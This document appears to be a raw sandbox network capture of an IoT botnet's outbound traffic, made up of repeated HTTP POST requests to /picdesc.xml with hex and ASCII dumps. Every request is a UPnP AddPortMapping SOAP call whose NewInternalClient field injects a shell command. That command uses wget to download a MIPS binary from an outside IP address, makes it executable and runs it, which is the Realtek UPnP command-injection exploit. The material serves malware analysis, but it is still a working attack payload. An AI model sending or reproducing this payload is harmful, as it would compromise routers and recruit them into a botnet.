                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:09.882442951 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.033135891 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      2192.168.2.154272645.192.213.8952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:24.540582895 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:28.667640924 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:34.811534882 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:46.843125105 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
